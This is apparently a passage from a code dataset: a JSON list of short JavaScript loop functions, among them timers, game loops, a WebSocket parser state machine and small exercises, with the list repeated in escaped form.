{\n\tconsole.log(maxi);\n\tconsole.log(index);\n if(index==maxi){\n return;\n }\n else{\n //setInterval(5000);\n setInterval( doSomething(), iFrequency ); // run\n startLoop();\n\t}\n\n }","function loop (n) {\n while (n > 0) {\n console.log(n)\n n--\n }\n}","startLoop () {\n\t this.loop = true;\n\n\t while (this.loop) {\n\t switch (this.state) {\n\t case GET_INFO:\n\t this.getInfo();\n\t break;\n\t case GET_PAYLOAD_LENGTH_16:\n\t this.getPayloadLength16();\n\t break;\n\t case GET_PAYLOAD_LENGTH_64:\n\t this.getPayloadLength64();\n\t break;\n\t case GET_MASK:\n\t this.getMask();\n\t break;\n\t case GET_DATA:\n\t this.getData();\n\t break;\n\t default: // `INFLATING`\n\t this.loop = false;\n\t }\n\t }\n\t }","function loop ( start, test, updt, body ) {\r\n let val = start;\r\n while (test(val)) {\r\n body (val)\r\n val = updt (val)\r\n } \r\n}","function stopLoop() {\n\tisrunnning = false;\n\tconsole.log('stop loop');\n}","function bannerLoop()\n\t{\n\t\tsetTimeout(showBanner, interval * 1000);\n\t}","function Inicio() {\n var bandera = true;\n\n while (bandera == true) {\n var respuesta = 0;\n\n //Mensajes de alerta para ingresar datos\n var nombre = prompt(\"Ingrese su nombre, por favor\");\n var edad = IngresoEdad(\"usted\");\n\n if (edad >= 18) {\n var casado = IngresoEstadoCivil();\n var edad_conyuge = 0;\n var numeroHijos = 0;\n valorPropiedad = 0;\n\n if (\"SI\" == casado.toUpperCase()) {\n edad_conyuge = IngresoEdad(\"su conyuge\");\n }\n\n if (TieneHijos()) {\n numeroHijos = CantidadHijos();\n }\n\n var salario = ValorSalario();\n var propiedad = IngresoPropiedad();\n\n debugger;\n\n if (\"SI\" == propiedad.toUpperCase()) {\n var valorPropiedad = ValorPropiedad();\n }\n } else {\n alert(\"La persona a asegurar tiene que ser mayor de edad\");\n }\n\n datos.push(\n new Registro(\n nombre,\n edad,\n casado,\n edad_conyuge,\n numeroHijos,\n salario,\n valorPropiedad\n )\n );\n\n bandera = Continuar();\n }\n\n for (let entry of datos) {\n var recargo_total = CalculoRecargo(entry);\n var total = precio_base + recargo_total;\n alert(\"Para el asegurado \" + entry.nombre);\n alert(\"El recargo total sera de: \" + recargo_total);\n alert(\"El valor de la cotización sera de: \" + total);\n }\n\n}","onClickRun() {\n\t\tlet tmp = true;\n\t\twhile (tmp == true) {\n\t\t\ttmp = this.cycle();\n\t\t}\n\t}","function imprimir() {\n for (var i = 0; i<8000; i++){\n console.log(\"Imprimio\");\n }\n}","function doWhileLoop(array) {\n \tvar i = 0; // sets variable i equal to zero as a start ?\n\n// function that adds '1' to the 'i' variable each time it's ran\nfunction incrementVariable() {\n \t\ti = i + 1;\n \t}\n\n\tdo { // will run following body AT LEAST once.\n\n\t\t// console.log('array.length = ' + array.length + ' and i = ' + i); // WHAT THE HECK DOES THIS MEAN\n // console.log(\"DID THIS WORK?!\"); // update: I actually don't even need the console.log part\n\t\tarray = array.slice(1); // removes the first element in an array\n\t\tincrementVariable(); // function that adds '1' to the 'i' variable each time it's ran (function set above)\n\t} while (array.length > 0 && i < 5); // while the length of the array is greater than zero AND less than 5\n\n\treturn array;\n}","function start() {\n isGameActive = true;\n\n var l = 0;\n do {\n setTimeout(function () {\n calculateNextGeneration();\n }, 1000 * l);\n l++;\n console.log(l);\n }\n while (l < 1000);\n\n}","startLoop () {\n this.loop = true;\n\n while (this.loop) {\n switch (this.state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this.loop = false;\n }\n }\n }","function controlLoop(){\r\n refreshData();\r\n setInterval(refreshData,10000);\r\n}","function stopLoop()\n{\n\twindow.clearInterval(loop);\t\n}","function stop(){\n noLoop();\n}","function intervalFunction(){\n\t//If loopFlag == 1 then last execution actually executed something. If is 0 then last execution didn't execute anything, stop the program.\n\t//stopPressed and error are check flags for the stop button or internal errors\n\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\n loop();\n\t\tif(loopFlag == 1 && stopPressed == 0 && expControl.error == 0){\n\t\t\tsetTimeout(intervalFunction,speed);\n\t\t\treturn;\n\t\t}\n\t}\n\tstop();\n}","function pauseLoopArticles() {\n if (onAutoLooping) {\n clearInterval(loop_interval);\n isLooping = false;\n }\n }","function loopData() {\n\n}","function loop() {\n inquirer\n .prompt([\n {\n type: \"confirm\",\n message: \"Would you like to add another employee?\",\n name: \"loop\",\n },\n ])\n .then((res) => {\n if (res.loop) {\n init();\n } else {\n printHTML();\n return;\n }\n });\n}","async function Stopper() {\r\n while (true){\r\n await sleep(1000);\r\n if(MS ===5 && S ===9) {\r\n M = increment(M, 1000);\r\n S = 0;\r\n MS = 0;\r\n } else if(S === 9){\r\n S = 0;\r\n MS = increment(MS,5);\r\n } else {\r\n S = increment(S,9);\r\n }\r\n $(\"#Time\").text(\"Time: \"+M+\":\"+MS+\"\"+S) ;\r\n }\r\n\r\n}","function SLOOP(state) {\n state.loop = state.stack.pop();\n\n if (exports.DEBUG) {\n console.log(state.step, 'SLOOP[]', state.loop);\n }\n }","function loop(){\n Jobs.getAndDraw();\n setTimeout(function(){loop()}, 30000)\n }","startLoop () {\n\t this._loop = true;\n\n\t while (this._loop) {\n\t switch (this._state) {\n\t case GET_INFO:\n\t this.getInfo();\n\t break;\n\t case GET_PAYLOAD_LENGTH_16:\n\t this.getPayloadLength16();\n\t break;\n\t case GET_PAYLOAD_LENGTH_64:\n\t this.getPayloadLength64();\n\t break;\n\t case GET_MASK:\n\t this.getMask();\n\t break;\n\t case GET_DATA:\n\t this.getData();\n\t break;\n\t default: // `INFLATING`\n\t this._loop = false;\n\t }\n\t }\n\t }","function myLoop () { // create a loop function\n setTimeout(function () { // call a 3s setTimeout when the loop is called\n console.log('hello'); // your code here\n i++; // increment the counter\n if (i < 10) { // if the counter < 10, call the loop function\n myLoop(); // .. again which will trigger another \n } // .. setTimeout()\n }, 1000)\n}","_stopLoop() { this._isRunning = false; }","function loop_over() {\n\t\n\t\tif(finished) { // konec\n\t\t\tcount_result();\n\t\t\treturn;\n\t\t}\n\t\t\t\n\t\t$('#arrow').css({\"display\":\"none\"});\n\t\tdir = range(37,40); // vygeneruj smer sipky\n\t\t\n\t\tif(dir == 38)\n\t\t\t$('#arrow').text(\"↑\");\n\t\telse if(dir == 37)\n\t\t\t$('#arrow').text(\"←\");\n\t\telse if(dir == 40)\n\t\t\t$('#arrow').text(\"↓\");\n\t\telse\n\t\t\t$('#arrow').text(\"→\");\n\n\t\tsetTimeout(function() {\n\t\t\t$('#arrow').css({\"display\":\"block\"});\n\t\t\tloop();\n\t\t},0);\n\t}","function printWithWhile(){\n\tvar printwhile = 2000;\n\n\twhile(printwhile <= 5280){\n\t\tconsole.log(printwhile);\n\t\tprintwhile++;\n\t}\n\n}","function TaskLoop() {\n\t\n}","function mainLoop()\n {\n\t\tmainLoopCounter++;\n if (Graph.instance.nodes.get(state.sourceId).b == 0) {\n state.current_step = STEP_FINISHED; //so that we display finished, not mainloop when done\n that.stopFastForward();\n \n logger.log(\"Finished with a min cost of \"+ minCost);\n\n }\n else\n {\n logger.log(\"Not finished, starting search for augmentation cycle \");\n state.show_residual_graph = true;\n state.current_step = STEP_FINDSHORTESTPATH; \n\t\t\n }\n }","function mainLoop () {\n // Hard coded insturction count that each loop runs.\n let insCount = 5\n c8.DELAY = Math.max(0, c8.DELAY - 1)\n while (insCount > 0) {\n const { MEM, PC } = c8\n // Move instruction offset.\n const ins = getIns(MEM[PC] << 8 | MEM[PC + 1])\n try {\n // Perform operation according to instruction.\n ops[ins[0]](ins, c8, view)\n } catch (err) { warning(err, ins, c8) }\n insCount--\n }\n window.requestAnimationFrame(mainLoop)\n }","function mainLoop() {\n // check if the user is drawing and emit xy coords to be pushed into line history on the back end\n if (mouse.click && mouse.move && mouse.pos_prev) {\n // send line to to the server\n client.emit('draw_line', { line: [mouse.pos, mouse.pos_prev] });\n mouse.move = false;\n }\n if (erase) { //user1 erases -> server gets message -> updates client state for all users\n client.emit('erase_board', { message: 'Client to server: User x erased the board' });\n erase = false;\n }\n //if not drawing, assign values to pos_prev to begin the drawing process\n mouse.pos_prev = { x: mouse.pos.x, y: mouse.pos.y };\n setTimeout(mainLoop, 25); //recursive loop every 25ms\n }","loop() {\n\t\tif( game.paused ) {\n\t\t\tdisplay.clearScreen();\n\t\t\tgame.draw();\n\t\t\treturn;\n\t\t}\n\n\t\tif( !game.nc || ( game.nc && display.frame % 3 === 0 ) ) {\n\t\t\tgame.update();\n\t\t\tdisplay.clearScreen();\n\t\t\tgame.draw();\n\t\t\treturn;\n\t\t}\n\t}","loop() {\r\n\t\t\tthis.looping = true;\r\n\t\t\tthis.playing = true;\r\n\t\t}","function alive()\n{\n\tconsole.log(\"Loop\");\n\tswitch(state)\n\t{\n\t\tcase 0:\n\t\t\tconsole.log(\"Stopped\");\n\t\t\t//stop();\n\t\tbreak;\n\t\t\n\t\tcase 1:\n\t\t\tif (busy == 0)\n\t\t\t{\n\t\t\t\tconsole.log(\"Swimming\");\n\t\t\t\tswim();\n\t\t\t}\n\t\tbreak;\n\t\t\n\t\tcase 2:\n\t\t\t//NOT Implemented\n\t\t\tfollow();\n\t\tbreak;\n\t\t\n\t\tcase 3:\n\t\t\t//NOT Implemented\n\t\t\tavoid();\n\t\tbreak;\n\t\t\n\t\tcase 4:\n\t\t\t//NOT Implemented\n\t\t\tfeed();\n\t\tbreak;\n\t\t\n\t\tcase 5:\n\t\t\t//DoNothingCozManual!!!!\n\t\tbreak;\n\t\t\n\t\tdefault:\n\t\t\tstate = 1;\n\t}\n}","function mainLoop() {\n\n\t\tvar timeChecker = setInterval(function() {\n\n\t\t\tstate.videoPlayer.update();\n\t\t\t// Forced update of time. Required for Safari.\n\t\t\ttime = state.videoPlayer.currentTime;\n\n\t\t\t// console.log('time:', time);\n\t\t\t_.each(popUpProblemTimer, function(obj) {\n\t\t\t\tif (time >= obj.start && time < obj.end) {\n\t\t\t\t\t// console.log(obj);\n\t\t\t\t\tvideoActions.actionFunction(time, obj);\n\t\t\t\t} else {\n\t\t\t\t\tvideoActions.actionFunction(time, null);\n\t\t\t\t}\n\t\t\t})\n\t\t}, 500);\n\n\t}","function loopArticles() {\n if (onAutoLooping) {\n loop_interval = setInterval(nextArticle, settings.interval);\n isLooping = true;\n }\n }","function startLoop() {\r\n document.getElementById('tagtitle').innerHTML=title[currentTitle];\r\n x= description[currentTitle];\r\n // alert(x);\r\n if(myInterval > 0) clearInterval(myInterval); // stop\r\n myInterval = setInterval( \"changeContent()\", iFrequency ); // run\r\n }","function ciblerMonstre(){\n choisie=false;\n while (choisie=false){\n butGob.onclick= function(){\n cibleMonstre=\"Gobelin\";\n vieMonCible=vieGob;\n choisie=true;\n }\n butDef.onclick= function(){\n cibleMonstre=\"Dragon\";\n vieMonCible=vieDra;\n choisie=true;\n }\n butSpe.onclick= function(){\n cibleMonstre=\"Fantôme\";\n vieMonCible=vieFan;\n choisie=true;\n }\n }\n}","function myLoop() { // create a loop function\n setTimeout(function () { // call a 3s setTimeout when the loop is called\n console.log(globulCounter); // your code here\n\n if (globulCounter < stockArrayBy80.length) { // if the counter < 10, call the loop function\n getStockAllPriceGoogle(stockArrayBy80[globulCounter]);\n myLoop(); // .. again which will trigger another\n } // .. setTimeout()\n globulCounter++; // increment the counter\n }, 3000)\n}","function loopMain() {\n if(!lock && !animation1 && !animation2){\n lock = true;\n $.get(\"phps/refreshlugares.php\",function(responseText,status){\n try{\n if(status==\"success\"){\n res = JSON.parse(responseText);\n res.forEach(function (lugar) {\n switch (lugar.idLugares) {\n case \"1\":\n if(ocupado1!=parseInt(lugar.ocupado))\n ocupar1();\n break;\n case \"2\":\n if(ocupado2!=parseInt(lugar.ocupado))\n ocupar2();\n break;\n }\n });\n }else{\n alert(status);\n }\n }catch(e){\n alert(e);\n }\n lock = false;\n });\n }\n}","function veggieWhileLooper( veggies ) {\r\n\r\n var i = 0;\r\n\r\n while ( i < veggies.length ) {\r\n\r\n console.log( myVeggies[i] );\r\n i++;\r\n }\r\n}","function countdown(num){\r\n\r\n while(num > 1)\r\n{\r\n console.log(num);\r\n num = num - 4;\r\n}\r\n\r\n}","function Steady() {\n// var i;\n// for (i = 0; i<4; i++) {} => Boucle servant dans le cas où l'on veut ajouter 4 cartes de suite pour la banque\n while (bank_score[0] < player_score[0]) {\n var para = document.getElementById('BC');\n var img = document.createElement('img');\n var path = randomOne(bank_score, bank_cards, \"texte1\");\n img.src = path;\n para.appendChild(img);\n }\n Score_Text_Display(bank_score,player_score);\n}","startLoop () {\n this._loop = true;\n\n do {\n switch (this._state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this._loop = false;\n }\n } while (this._loop);\n }","agregarNuevo(){\n let esta = false;\n let cont = 0;\n \n while(!esta){\n cont++;\n const fil = Math.floor(Math.random() * this.size);\n const col = Math.floor(Math.random() * this.size);\n\n if(this.getCelda(fil,col)==null){\n esta = true;\n const val = Math.floor(Math.random() * 6)+1;\n if(val>=0 && val<5)\n this.setCeldaEfecto(2,fil,col); // 3 chances de 4 de que toque 2\n else\n this.setCeldaEfecto(4,fil,col); // 3 chances de 4 de que toque 4\n }\n\n //conta\n if(cont==1000) esta = true;\n\n }\n\n }","function meshLoop(self)\n{\n debug(\"MESHA\")\n meshReap(self);\n meshSeen(self);\n meshElect(self);\n meshPing(self);\n debug(\"MESHZ\")\n setTimeout(function(){meshLoop(self)}, 25*1000);\n}","startLoop () {\n this._loop = true;\n\n while (this._loop) {\n switch (this._state) {\n case GET_INFO:\n this.getInfo();\n break;\n case GET_PAYLOAD_LENGTH_16:\n this.getPayloadLength16();\n break;\n case GET_PAYLOAD_LENGTH_64:\n this.getPayloadLength64();\n break;\n case GET_MASK:\n this.getMask();\n break;\n case GET_DATA:\n this.getData();\n break;\n default: // `INFLATING`\n this._loop = false;\n }\n }\n }","function executeAll() {\r\n //wykonaj wszystkie kroki do konca\r\n while (!finished) processStep();\r\n prepareScreen5();\r\n}","function game_loop()\n{\n\t// If frog made it across safely\n\tif(frog.lane == 0 && is_safe_cross()) {\t\n\t\tcrossed_safely();\n\t}\n\t\n\t// If frog is dead\n\tif(is_collision() || is_in_water() || is_out_of_bounds() || is_out_of_time() || !is_safe_cross() ) {\n\t\tlives--;\n\t\treset_frog();\n\t} \n\n\t// If player has zero frogs left (aka game over)\n\tif(lives == 0) {\n\t\tgame_over();\n\t}\n}","async function imagerollFunction() {\n while (counter < imageArray.length && roll) {\n image.src = imageArray[counter][0];\n image.alt = imageArray[counter][1];\n p.innerText = imageArray[counter][1];\n counter++;\n await sleep(4000);\n }\n}","function credits_loop() {\n \t\tdo_fade();\n \t\tdraw_backDrop();\n \t\tdraw_scroller();\t\t\t\t\t\t\t\n \t\tendScreenTimer--;\t\t\t\t\t\t\t\t// Countdown the timer.\n \t\tif (endScreenTimer==0) end();\t\t\t\t\t\t\t\t// If it gets to zero, end the credits!\n \t\telse if (creditsLoopOn) requestAnimFrame( credits_loop );\t// ... otherwise if the demo is continuing, go to the next frame.\n \t}","function intGoNext(){\n goNext(0);\n }","async function mainLoop() {\n\n\tdrawBoard(currentlyDisplayedCards);\n\twhile (!gameEnded) {\n\t\tlet eventSet = await getEvent(pastEvents);\n\t\tawait handleEvent(eventSet); // handle the event that was just added\n\t}\n}"],"string":"[\n \"function loopInfinito() {\\n while (true) { }\\n}\",\n \"function loop() {\\r\\n}\",\n \"function loop() {\\r\\n // if (is_loop) {\\r\\n setTimeout(manage_loop, manager.interval);\\r\\n // is_loop = false;\\r\\n // }\\r\\n }\",\n \"function cambiarEstiloAuto() {\\n let contador = 0;\\n while(contador < 10){\\n cambiarEstilo();\\n contador++;\\n }\\n}\",\n \"loop() {}\",\n \"loop() {}\",\n \"function infinteLoop() {\\n while (true) {\\n }\\n}\",\n \"function executarLooping() {\\n moverFundo()\\n moverHelicopteroInimigo()\\n moverCaminhao()\\n moverJogador()\\n moverAliado()\\n detectarColisoes()\\n mostrarPlacar()\\n atualizarEnergia()\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n console.log('loop');\\n }\\n }\",\n \"function jogar(){\\r\\n //o jogo continuará até que alguém destrua completamente os navios do adversário\\r\\n //testa após cada jogada se o número de pontos foi atingido\\r\\n while (true){\\r\\n jogadorJoga();\\r\\n console.log(\\\"O computador tem \\\"+naviosComputador);\\r\\n if (pontosJogador == naviosComputador){\\r\\n console.log(nome+\\\" ganhou! Parabéns!\\\");\\r\\n break;\\r\\n }\\r\\n else {\\r\\n computadorJoga();\\r\\n if (pontosComputador == naviosJogador){\\r\\n console.log(\\\"Computador ganhou! Tente novamente, \\\"+nome);\\r\\n break;\\r\\n }\\r\\n };\\r\\n }\\r\\n}\",\n \"function loop() {\\n moveFundo();\\n moveJogador();\\n moveInimigo1();\\n moveInimigo2();\\n moveInimigo3();\\n moveInimigo4();\\n moveEstrela();\\n colisao();\\n placar();\\n energia();\\n }\",\n \"noLoop() {\\r\\n\\t\\t\\tthis.looping = false;\\r\\n\\t\\t}\",\n \"function startLoop(){\\n\\n // console.log('[LOOP]');\\n\\n INGAME = true;\\n\\n // cancel on late-join\\n loop.stop();\\n\\n loop.resume();\\n}\",\n \"function startLoop(){\\n\\n // console.log('[LOOP]');\\n\\n INGAME = true;\\n\\n // cancel on late-join\\n loop.stop();\\n\\n loop.resume();\\n}\",\n \"function cambio(){\\n\\n\\t// for(var i=0; i<10; i++){\\n\\t// \\tconsole.debug('hola '+i);\\n\\t// }\\n\\tvar i=0;\\n\\twhile(i<10){\\n\\t\\tconsole.debug('hola '+i);\\n\\t\\ti++;\\n\\t}\\n}\",\n \"function contadorWhile1() {\\n // Cria o contador (fora do while)\\n let contador = 1;\\n\\n // Enquanto o valor (contador) for menor que 5\\n while (contador <= 5) {\\n\\n // Mostra o valor na tela\\n document.querySelector('#contadorW1').innerHTML += contador + \\\", \\\";\\n\\n // Incrementa o contador (dentro do bloco)\\n contador++;\\n // contador = contador + 1;\\n // contador += 1;\\n }\\n}\",\n \"function whileLoop(n){\\nwhile ( 0 < n ){\\n console.log(--n);\\n}\\nif (n <= 1 ){\\nreturn 'done';\\n }\\n}\",\n \"function cicloWhile() {\\n\\n while (confirm(\\\"Desea Continuar?\\\")) {\\n alert(\\\"THis is a cycle while\\\")\\n }\\n}\",\n \"function startLoop() {\\n\\tisrunnning = true;\\n}\",\n \"function doWhileLoop(x)\\n{\\n x--;\\n do \\n {\\n console.log(\\\"I run once regardless\\\");\\n } while(x-- > 0);\\n}\",\n \"function infiniteLoop() {\\r\\n while (true) {\\r\\n }\\r\\n}\",\n \"function main(){\\r\\n\\tcur_t = 0\\r\\n\\tkill_step = poisson(kill_step);\\r\\n\\tcount_step = 0;\\r\\n\\t//do {\\r\\n\\tvar times = setInterval(function(){\\r\\n\\t\\tif (cur_t == steps) clearInterval(times);\\r\\n\\r\\n\\t\\tvar temp = couple_logistic_possison(pop, params, steps);\\r\\n\\t\\tif (count_step == kill_step){\\r\\n\\t\\t\\tcata(kill_percentage, pop);\\r\\n\\t\\t\\tkill_step = poisson(kill_step);\\r\\n\\t\\t\\tcount_step = 0;\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tshow_graphics(temp);\\r\\n\\r\\n\\t\\tcur_t += 1;\\r\\n\\t\\tcount_step += 1;\\r\\n\\t\\treturn temp;\\r\\n\\t\\t}, 35);\\r\\n\\t//} while (cur_t < steps)\\t\\r\\n}\",\n \"function mainLoop( ) {\\n\\n\\n let segundos = 5;\\n let tiempo = segundos * 1000;\\n\\n\\n console.log('Intervalo de '+ segundos );\\n console.log('Perioodo: ');\\n\\n\\n REALTIME.actualizarREALTIME( );\\n\\n setInterval((tiempo) => {\\n console.log('-------------------------------------------------------');\\n console.log('Intervalo de REALTIME '+ segundos );\\n console.log('PERIODO');\\n REALTIME.actualizarREALTIME( );\\n }, tiempo )\\n\\n}\",\n \"function loopForever() {\\n while (true) { }\\n}\",\n \"function checkLoop() {\\n if (config.loopState) {\\n loop();\\n } else {\\n noLoop();\\n }\\n }\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function infiniteLoop() {\\n while (true) {\\n }\\n}\",\n \"function contadorWhile2() {\\n // Cria o contador (fora do while)\\n let contador = 1;\\n\\n // Guarda o número informado na tela\\n const numeroInformado = document.querySelector('#numInformadoW2').value;\\n\\n // Enquanto o contador for menor que o número informado na tela\\n while (contador <= numeroInformado) {\\n // Mostra o valor na tela\\n document.querySelector('#contadorW2').innerHTML += contador + \\\", \\\";\\n\\n // Incrementa o contador (dentro do bloco)\\n contador++;\\n }\\n}\",\n \"function loopDetect() {\\n \\n}\",\n \"loop() {\\n let stop = false;\\n while (!stop) {\\n //Creates a thread for every single agent\\n Object.values(this.agents).forEach(agent => {\\n if (!this.problem.goalTest(this.data)) {\\n // aqui el agente recibe las persepciones\\n agent.receive(this.problem.perceptionForAgent(this.getData(), agent.getID()));\\n //guarda el accion\\n let action = agent.send();\\n this.actions.push({ agentID: agent.getID(), action });\\n //actuliza el problema\\n this.problem.update(this.data, action, agent.getID());\\n //mira si termino el problema\\n if (this.problem.goalTest(this.data)) {\\n stop = true;\\n } else {\\n if (this.callbacks.onTurn)\\n //es un callback que muestra la posicion en la que esta callbacks\\n this.callbacks.onTurn({ actions: this.getActions(), data: this.data });\\n }\\n }\\n });\\n }\\n this.finishAll();\\n }\",\n \"function hello(){\\n\\nlet angka = 1;\\nwhile(angka <= 5){\\nconsole.log(\\\"hai\\\" + \\\" \\\" + angka + \\\"x\\\");\\nangka++;\\n }\\n}\",\n \"function generalLoop(){\\r\\n\\r\\n\\tif ((new Date()).getTime() - timeObj < 3 ) {\\t\\t\\r\\n\\t\\treturn;\\t\\t\\r\\n\\t}//fi\\r\\n\\tif (currentState == 3) {\\r\\n\\t\\tupdateDisplay();\\r\\n\\t\\ttimeObj = (new Date()).getTime();\\r\\n\\t}//fi\\r\\n\\r\\n\\t\\r\\n\\r\\n}//end listener\\t\",\n \"function intWhile (){\\n var i = 2000;\\n while (i <= 5280){\\n console.log(i);\\n i++;\\n }\\n}\",\n \"function PrintI(){\\n var num = 2000;\\n while(num < 5281){\\n console.log(num);\\n num++;\\n }\\n}\",\n \"function loops6 () {\\n console.log('#6 Logging 1 to 1000 with a do...while loop: ');\\n var i = 1;\\n do {\\n console.log(i);\\n i++;\\n } while (i < 1001);\\n}\",\n \"function testWhileLoop() {\\n var counter = 0;\\n while (counter <= 10) {\\n console.log(counter);\\n counter++;\\n }\\n}\",\n \"function devilLoop(){\\n GMvariables.devil = setInterval(() => {\\n changePositionOfElement()\\n if(GMvariables.live<1){\\n deviElementHide();\\n clearInterval(GMvariables.devil);\\n }\\n }, GMvariables.interval);\\n // console.log(\\\"from loop = \\\" + interval);\\n}\",\n \"function get_data_loop()\\r\\n{\\r\\n if(!ansvers){\\r\\n \\tget_data();\\r\\n \\tansvers = 1;\\r\\n }\\r\\n \\tsetTimeout(\\\"get_data_loop()\\\",10000);\\r\\n}\",\n \"function infiniteLoop() {\\n while (true) { }\\n}\",\n \"function whileLoop(x)\\n{\\n while (x>0)\\n {\\n console.log(x--);\\n }\\n \\n return \\\"done\\\";\\n}\",\n \"function a2() {\\n let i = 9; // Variablen-Initialisierung. Name i, Typ number, Wert 9.\\n do { /* do-while-Schleife --> Wird auf jeden Fall einmal die Anweisungen im Rumpf ausführen,\\n bevor die Bediengung auf true überprüft wird und den Rumpf weiter ausführt und dies dann genau so lange, bis die Bediengung false wird. */\\n console.log(i); // Konsolenausgabe der lokalen Variable i.\\n i = i - 1; // Der Variablen i wird ein neuer Wert zugewiesen: Und zwar ihr eigener minus Eins.\\n } while (i > 0); // Schleifenbedingung: \\\"Solange die Variable i größer als 0 ist, dann führe die Anweisungen im Rumpf aus.\\\"\\n}\",\n \"function loop() {\\n if (!avatar.dead) {\\n //obtener propiedades de elementos\\n bcr.getBCR(playground, adventurer, ip, life);\\n //aumentar distancia e imprimirla\\n distCounter++;\\n printDist(distCounter, previousDistance, dist);\\n //salto personaje\\n avatar.jumping(joystick, adventurer);\\n //controlar que no pase del piso\\n avatar.checkFloor(bcr.plgrBCR, groundHeight, adventurer);\\n adventurer.style.top = avatar.y + \\\"px\\\";\\n //chequear colisiones\\n\\n if (avatar.collision(bcr.advtBCR, bcr.impBCR)) {\\n if (avatar.life > 0) {\\n avatar.hurt(life);\\n //console.log(avatar.life);\\n myID = requestAnimationFrame(loop);\\n } else {\\n avatar.death(adventurer);\\n ip.style.animationIterationCount = \\\"1\\\";\\n if (distCounter > previousDistance) {\\n previousDistance = distCounter;\\n }\\n front.style.background=\\\"url('../img/end.png')\\\";\\n inicio.style.display = \\\"inline\\\";\\n setTimeout(() => {\\n front.style.display=\\\"inline\\\";\\n }, 2000);\\n cancelAnimationFrame(myID);\\n }\\n } else {\\n if (bcr.impBCR.left < 145) {\\n speed *= 0.99;\\n ip.style.animation = \\\"anRB 0.8s steps(8) infinite, anR 4s steps(400) infinite\\\";\\n }\\n myID = requestAnimationFrame(loop);\\n }\\n }\\n }\",\n \"function loops4 () {\\n console.log('#5 Logging 1 to 1000 with a while loop: ');\\n var i = 1;\\n while (i < 1001) {\\n console.log(i);\\n i++;\\n }\\n}\",\n \"function loop() {\\n if( DateForCycle.getTime() < beginTime ) {\\n\\n \\n bigDay ^= true;\\n setDate(DateForCycle, function(){\\n commit(function() {\\n if(bigDay) {\\n commit(setNextDay);\\n } else {\\n setNextDay();\\n\\n }\\n })\\n });\\n } else {\\n exec('git remote add origin '+rep+' && git push -u origin master -f', function(){\\n });\\n\\n }\\n }\",\n \"function whileDemo([n]) {\\r\\n let health = 100;\\r\\n while (health > 0) { // its not depend on counter\\r\\n \\r\\n // walk\\r\\n // take damage\\r\\n // headshot\\r\\n }\\r\\n}\",\n \"_setupLoop () {\\n this._time = 0\\n this._loop()\\n }\",\n \"function startLoop() {\\n\\tconsole.log(maxi);\\n\\tconsole.log(index);\\n if(index==maxi){\\n return;\\n }\\n else{\\n //setInterval(5000);\\n setInterval( doSomething(), iFrequency ); // run\\n startLoop();\\n\\t}\\n\\n }\",\n \"function loop (n) {\\n while (n > 0) {\\n console.log(n)\\n n--\\n }\\n}\",\n \"startLoop () {\\n\\t this.loop = true;\\n\\n\\t while (this.loop) {\\n\\t switch (this.state) {\\n\\t case GET_INFO:\\n\\t this.getInfo();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_16:\\n\\t this.getPayloadLength16();\\n\\t break;\\n\\t case GET_PAYLOAD_LENGTH_64:\\n\\t this.getPayloadLength64();\\n\\t break;\\n\\t case GET_MASK:\\n\\t this.getMask();\\n\\t break;\\n\\t case GET_DATA:\\n\\t this.getData();\\n\\t break;\\n\\t default: // `INFLATING`\\n\\t this.loop = false;\\n\\t }\\n\\t }\\n\\t }\",\n \"function loop ( start, test, updt, body ) {\\r\\n let val = start;\\r\\n while (test(val)) {\\r\\n body (val)\\r\\n val = updt (val)\\r\\n } \\r\\n}\",\n \"function stopLoop() {\\n\\tisrunnning = false;\\n\\tconsole.log('stop loop');\\n}\",\n \"function bannerLoop()\\n\\t{\\n\\t\\tsetTimeout(showBanner, interval * 1000);\\n\\t}\",\n \"function Inicio() {\\n var bandera = true;\\n\\n while (bandera == true) {\\n var respuesta = 0;\\n\\n //Mensajes de alerta para ingresar datos\\n var nombre = prompt(\\\"Ingrese su nombre, por favor\\\");\\n var edad = IngresoEdad(\\\"usted\\\");\\n\\n if (edad >= 18) {\\n var casado = IngresoEstadoCivil();\\n var edad_conyuge = 0;\\n var numeroHijos = 0;\\n valorPropiedad = 0;\\n\\n if (\\\"SI\\\" == casado.toUpperCase()) {\\n edad_conyuge = IngresoEdad(\\\"su conyuge\\\");\\n }\\n\\n if (TieneHijos()) {\\n numeroHijos = CantidadHijos();\\n }\\n\\n var salario = ValorSalario();\\n var propiedad = IngresoPropiedad();\\n\\n debugger;\\n\\n if (\\\"SI\\\" == propiedad.toUpperCase()) {\\n var valorPropiedad = ValorPropiedad();\\n }\\n } else {\\n alert(\\\"La persona a asegurar tiene que ser mayor de edad\\\");\\n }\\n\\n datos.push(\\n new Registro(\\n nombre,\\n edad,\\n casado,\\n edad_conyuge,\\n numeroHijos,\\n salario,\\n valorPropiedad\\n )\\n );\\n\\n bandera = Continuar();\\n }\\n\\n for (let entry of datos) {\\n var recargo_total = CalculoRecargo(entry);\\n var total = precio_base + recargo_total;\\n alert(\\\"Para el asegurado \\\" + entry.nombre);\\n alert(\\\"El recargo total sera de: \\\" + recargo_total);\\n alert(\\\"El valor de la cotización sera de: \\\" + total);\\n }\\n\\n}\",\n \"onClickRun() {\\n\\t\\tlet tmp = true;\\n\\t\\twhile (tmp == true) {\\n\\t\\t\\ttmp = this.cycle();\\n\\t\\t}\\n\\t}\",\n \"function imprimir() {\\n for (var i = 0; i<8000; i++){\\n console.log(\\\"Imprimio\\\");\\n }\\n}\",\n \"function doWhileLoop(array) {\\n \\tvar i = 0; // sets variable i equal to zero as a start ?\\n\\n// function that adds '1' to the 'i' variable each time it's ran\\nfunction incrementVariable() 